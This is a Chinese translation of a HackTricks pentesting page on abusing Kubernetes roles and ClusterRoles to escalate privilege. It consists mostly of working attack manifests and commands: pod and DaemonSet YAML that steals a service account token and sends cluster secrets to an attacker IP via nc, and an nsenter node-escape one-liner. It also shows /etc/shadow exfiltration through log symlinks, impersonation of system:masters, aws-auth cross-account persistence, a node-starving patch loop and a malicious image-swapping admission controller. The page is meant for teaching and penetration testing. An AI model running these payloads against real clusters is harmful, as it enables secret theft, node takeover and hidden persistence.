Abusing Roles/ClusterRoles in Kubernetes

支持HackTricks

在这里,您可以找到一些潜在危险的角色和ClusterRoles配置。 请记住,您可以使用 kubectl api-resources 获取所有支持的资源

权限提升

在Kubernetes中,提权被称为以不同权限(在Kubernetes集群内或外部云中)获取对不同主体的访问权限的技术。在Kubernetes中,基本上有4种主要技术来提升权限

  • 能够冒充具有更高权限的其他用户/组/SAs在Kubernetes集群内或外部云中

  • 能够创建/修补/执行Pods,在其中您可以找到或附加具有更高权限的SAs在Kubernetes集群内或外部云中

  • 能够读取秘密,因为SAs令牌存储为秘密

  • 能够从容器中逃逸到节点,在那里您可以窃取节点中运行的容器的所有秘密、节点的凭据以及节点在其运行的云中的权限(如果有的话)

  • 值得一提的第五种技术是能够在Pod中运行端口转发,因为您可能能够访问该Pod中的有趣资源。

访问任何资源或动词(通配符)

通配符 (*) 允许对任何资源使用任何动词。管理员使用它。在ClusterRole中,这意味着攻击者可以滥用集群中的任何命名空间。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

使用特定动词访问任何资源

在RBAC中,某些权限存在重大风险:

  1. create: 允许创建任何集群资源,存在特权升级风险。

  2. list: 允许列出所有资源,可能泄露敏感数据。

  3. get: 允许访问服务账号中的秘密,构成安全威胁。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

创建 Pod - 窃取令牌

拥有创建 Pod 权限的攻击者可以将一个特权服务账户附加到 Pod 中,并窃取令牌以冒充该服务账户。有效地提升了权限。

以下是一个示例 Pod,将窃取 bootstrap-signer 服务账户的令牌并将其发送给攻击者:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod 创建与逃逸

以下列出了容器可以拥有的所有特权:

  • 特权访问(禁用保护并设置功能)

  • 禁用命名空间 hostIPC 和 hostPid,可帮助提升特权

  • 禁用 hostNetwork 命名空间,使得可以访问窃取节点云特权和更好地访问网络

  • 挂载主机的 / 到容器内部

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

使用以下命令创建 Pod:

kubectl --token $token create -f mount_root.yaml

来自这条推文的一句话,并附加一些内容:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

现在,您可以逃逸到节点检查后渗透技术中:

隐身

您可能希望更加隐秘,在接下来的页面中,您可以看到如果创建一个仅启用前述模板中提到的某些特权的 pod,您将能够访问什么:

  • 特权 + hostPID

  • 仅特权

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

您可以在 https://github.com/BishopFox/badPods 找到如何创建/滥用先前特权 pod 配置的示例

创建 Pod - 迁移到云

如果您可以创建一个pod(并可选地创建一个服务账户),您可能可以通过将云角色分配给一个 pod 或服务账户然后访问它来在云环境中获得特权。 此外,如果您可以创建一个具有主机网络命名空间的 pod,您可以窃取节点实例的 IAM 角色。

有关更多信息,请查看:

Pod Escape Privileges

创建/修补 Deployment、Daemonsets、Statefulsets、Replicationcontrollers、Replicasets、Jobs 和 Cronjobs

可以滥用这些权限来创建一个新的 pod并像前面的示例中那样获得特权。

以下 yaml 创建一个 daemonset 并将 SA 的令牌外泄到 pod 中

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec 是 Kubernetes 中用于在 Pod 内部的 shell 中运行命令 的资源。这允许 在容器内运行命令或获取 shell

因此,可以 进入一个 Pod 并窃取 SA 的令牌,或者进入一个特权 Pod,逃逸到节点,并窃取节点上所有 Pod 的令牌并(滥用)该节点:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

端口转发

此权限允许将一个本地端口转发到指定 pod 中的一个端口。这旨在使得能够轻松调试在 pod 中运行的应用程序,但攻击者可能滥用此权限来访问 pod 内部的有趣内容(如数据库)或易受攻击的应用程序(网站?)。

kubectl port-forward pod/mypod 5000:5000

主机可写 /var/log/ 逃逸

正如这项研究所指出的,如果您可以访问或创建一个挂载了主机 /var/log/ 目录的 pod,您就可以从容器中逃逸。 这基本上是因为当Kube-API 尝试获取容器的日志(使用 kubectl logs <pod>)时,它会使用 Kubelet 服务的 /logs/ 端点请求 pod 的 0.log 文件。 Kubelet 服务公开了 /logs/ 端点,这基本上是暴露了容器的 /var/log 文件系统

因此,一个具有写入容器 /var/log/ 文件夹权限的攻击者可以利用这种行为方式有两种:

  • 修改其容器的 0.log 文件(通常位于 /var/logs/pods/namespace_pod_uid/container/0.log)为指向 /etc/shadow符号链接。然后,您就可以执行以下操作来窃取主机的 shadow 文件:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • 如果攻击者控制任何具有读取 nodes/log 权限的主体,他可以在 /host-mounted/var/log/sym 中创建一个符号链接指向 /,当访问 https://<gateway>:10250/logs/sym/ 时,他将列出主机的根文件系统(更改符号链接可以提供对文件的访问)。

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

可以在 https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts 找到一个实验室和自动化利用。

绕过readOnly保护

如果你足够幸运,并且高度特权的能力 CAP_SYS_ADMIN 可用,你可以重新将文件夹挂载为读写:

mount -o rw,remount /hostlogs/

绕过 hostPath 的 readOnly 保护

这项研究所述,可以绕过这种保护:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

这是为了防止像之前那样的逃逸,而不是使用 hostPath 挂载,而是使用 PersistentVolume 和 PersistentVolumeClaim 来挂载容器中具有可写访问权限的主机文件夹:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

冒充特权账户

拥有 用户冒充 权限,攻击者可以冒充一个特权账户。

只需在 kubectl 命令中使用参数 --as=<username> 来冒充一个用户,或者使用 --as-group=<group> 来冒充一个组:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

或者使用 REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

列出秘密

列出秘密的权限可能允许攻击者实际读取秘密,访问 REST API 端点:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

读取秘密 - 暴力破解令牌 ID

尽管拥有具有读取权限的令牌的攻击者需要确切的秘密名称才能使用它,与更广泛的_列出秘密_权限不同,仍然存在漏洞。系统中的默认服务账户可以被枚举,每个账户关联一个秘密。这些秘密具有名称结构:静态前缀后跟一个随机的五字符字母数字令牌(不包括某些字符),根据源代码

令牌是从一个有限的 27 个字符集(bcdfghjklmnpqrstvwxz2456789)生成的,而不是完整的字母数字范围。这种限制将总可能组合减少到 14,348,907(27^5)。因此,攻击者可以合理地执行暴力破解攻击来推断令牌,在几小时内可能导致通过访问敏感服务账户而提升权限。

证书签名请求

如果您在资源 certificatesigningrequests 中具有动词 create(或至少在 certificatesigningrequests/nodeClient 中具有),您可以创建一个新节点的新 CeSR。

根据文档,可以自动批准这些请求,因此在这种情况下,您不需要额外权限。如果没有,您将需要能够批准该请求,这意味着在 certificatesigningrequests/approval 中进行更新,并在 signers 中使用资源名称 <signerNameDomain>/<signerNamePath><signerNameDomain>/* 进行批准。

一个具有所有所需权限的角色示例是:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

所以,随着新节点 CSR 被批准,您可以滥用节点的特殊权限来窃取机密提升权限

这篇文章这篇中,GKE K8s TLS Bootstrap 配置被配置为自动签名,并被滥用以生成新 K8s 节点的凭据,然后通过窃取机密来提升权限。 如果您拥有提到的权限,您也可以做同样的事情。请注意,第一个示例绕过了阻止新节点访问容器内部机密的错误,因为节点只能访问挂载在其上的容器的机密

绕过这种方式只需为挂载有有趣机密的容器的节点名称创建节点凭据(但请查看如何在第一篇文章中执行):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

在 EKS 上的 kube-system 命名空间中可以修改 configmaps 的主体(需要在 AWS 中)集群可以通过覆盖 aws-auth configmap 获得集群管理员特权。 所需的动词是 updatepatch,或者如果 configmap 尚未创建,则是 create

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

您可以使用 aws-auth 来实现持久性,从而让用户从其他账户访问。

但是,aws --profile other_account eks update-kubeconfig --name <cluster-name> 无法从不同的账户运行。但实际上,如果您将集群的 ARN 放在那里,aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing 就可以运行。 要使 kubectl 工作,只需确保配置受害者的 kubeconfig,并在 aws exec args 中添加 --profile other_account_role,这样 kubectl 将使用其他账户配置文件来获取令牌并联系 AWS。

在 GKE 中升级

两种方法将 K8s 权限分配给 GCP 主体。在任何情况下,主体还需要权限 container.clusters.get 来收集凭据以访问集群,否则您将需要生成自己的 kubectl 配置文件(请参阅下一个链接)。

当与 K8s api 端点通信时,将发送GCP auth 令牌。然后,通过 K8s api 端点,GCP 首先检查主体(通过电子邮件)是否在集群内有任何访问权限,然后再检查它是否通过 GCP IAM 有任何访问权限。 如果任何一个,则会响应。如果不是,则会给出一个建议通过 GCP IAM 授予权限的错误

然后,第一种方法是使用 GCP IAM,K8s 权限具有其等效的 GCP IAM 权限,如果主体具有它,它将能够使用它。

GCP - Container Privesc

第二种方法是将 K8s 权限分配给集群内的用户,通过其电子邮件进行标识(包括 GCP 服务帐户)。

创建 serviceaccounts 令牌

可以创建 TokenRequestsserviceaccounts/token)的主体(来自此处的信息)。

ephemeralcontainers

可以**update** 或 patch pods/ephemeralcontainers 的主体可以获得对其他 pod 的代码执行权限,并且可能通过添加具有特权 securityContext 的临时容器来突破到其节点。

ValidatingWebhookConfigurations 或 MutatingWebhookConfigurations

具有 validatingwebhookconfigurationsmutatingwebhookconfigurations 上的 createupdatepatch 中的任何动词的主体可能能够创建此类 webhookconfigurations,以便升级权限

有关 mutatingwebhookconfigurations 示例,请查看此文章的此部分

升级

正如您可以在下一节中阅读的内容:内置特权升级预防,一个主体不能更新或创建角色或集群角色,而不具备这些新权限。除非他对**roles** 或 clusterroles 具有**escalate** 动词。 然后,他可以更新/创建具有比他拥有的更好权限的新角色、集群角色。

节点代理

具有访问 nodes/proxy 子资源的主体可以通过 Kubelet API 在 pod 上执行代码(根据此处)。有关 Kubelet 认证的更多信息,请参阅此页面:

Kubelet Authentication & Authorization

您可以在此处找到如何在与 Kubelet API 授权通信时获取 RCE 的示例

删除 pods + 无法调度的节点

可以删除 podspods 资源上的 delete 动词)、或驱逐 podspods/eviction 资源上的 create 动词)、或更改 pod 状态(访问 pods/status)并且可以使其他节点无法调度(访问 nodes/status)或删除节点nodes 资源上的 delete 动词)并且对一个 pod 有控制权的主体,可以从其他节点窃取 pods,使它们在受损的节点中执行,攻击者可以从这些 pods 中窃取令牌

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

服务状态 (CVE-2020-8554)

可以修改 services/status 的主体可能会将 status.loadBalancer.ingress.ip 字段设置为利用未修复的 CVE-2020-8554,并发起对集群的中间人攻击。对于 CVE-2020-8554 的大多数缓解措施仅防止外部 IP 服务 (根据 此处)。

节点和 Pod 状态

具有对 nodes/statuspods/status 的**update** 或 patch 权限的主体,可以修改标签以影响强制执行的调度约束。

内置特权升级预防

Kubernetes 具有内置机制来防止特权升级。

该系统确保用户无法通过修改角色或角色绑定来提升其特权。即使 RBAC 授权器处于非活动状态,此规则的执行发生在 API 级别,提供了一种保障。

该规则规定,用户只能在拥有角色包含的所有权限的情况下创建或更新角色。此外,用户现有权限的范围必须与其尝试创建或修改的角色的范围相匹配:对于 ClusterRoles,要么是整个集群范围,要么是相同命名空间 (或整个集群) 范围。

前述规则有一个例外。如果主体对**rolesclusterroles具有escalate**动词,他可以增加角色和集群角色的特权,即使他自己没有权限。

获取和修改 RoleBindings/ClusterRoleBindings

显然这种技术以前有效,但根据我的测试,由于前一部分解释的相同原因,它现在不再有效。如果你没有权限,你不能创建/修改一个 rolebinding 来给自己或不同的 SA 一些特权。

创建 Rolebindings 的特权允许用户将角色绑定到服务账户。这种特权可能导致特权升级,因为它允许用户将管理员特权绑定到一个受损的服务账户

其他攻击

Sidecar 代理应用

默认情况下,Pod 之间的通信没有加密。双向互相认证,Pod 对 Pod。

创建一个 Sidecar 代理应用

创建你的 .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

编辑你的 .yaml 文件并添加取消注释的行:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

查看代理的日志:

kubectl logs app -C proxy

更多信息请访问:https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

恶意准入控制器

一个准入控制器在对象持久化之前拦截对Kubernetes API服务器的请求,但是在请求经过认证 和授权之后。

如果攻击者以某种方式设法注入一个变异准入控制器,他将能够修改已经经过认证的请求。从而有可能提权,并更常见地在集群中持久存在。

示例来自 https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

检查状态以查看是否准备就绪:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

然后部署一个新的 Pod:

kubectl run nginx --image nginx
kubectl get po -w

当您看到 ErrImagePull 错误时,请使用以下任一查询检查镜像名称:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

正如您在上面的图片中所看到的,我们尝试运行镜像 nginx,但最终执行的镜像是 rewanthtammana/malicious-image。到底发生了什么!!?

技术细节

./deploy.sh 脚本建立了一个变异的 Webhook 准入控制器,根据其配置行修改对 Kubernetes API 的请求,从而影响所观察到的结果:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

滥用 Kubernetes 中的角色和集群角色

上面的片段将每个 Pod 中的第一个容器镜像替换为 rewanthtammana/malicious-image

OPA Gatekeeper 绕过

Kubernetes - OPA Gatekeeper bypass

最佳实践

禁用服务账户令牌的自动挂载

  • Pods 和服务账户: 默认情况下,Pods 挂载一个服务账户令牌。为了增强安全性,Kubernetes 允许禁用这个自动挂载功能。

  • 如何应用: 在服务账户或从 Kubernetes 版本 1.6 开始的 Pods 配置中设置 automountServiceAccountToken: false

在 RoleBindings/ClusterRoleBindings 中限制用户分配

  • 选择性包含: 确保只包含必要的用户在 RoleBindings 或 ClusterRoleBindings 中。定期审计并删除不相关的用户以保持严格的安全性。

命名空间特定角色优于整个集群范围的角色

  • Roles vs. ClusterRoles: 更倾向于在命名空间特定权限中使用 Roles 和 RoleBindings,而不是应用于整个集群的 ClusterRoles 和 ClusterRoleBindings。这种方法提供了更精细的控制并限制了权限的范围。

使用自动化工具

参考资料

支持 HackTricks

Last updated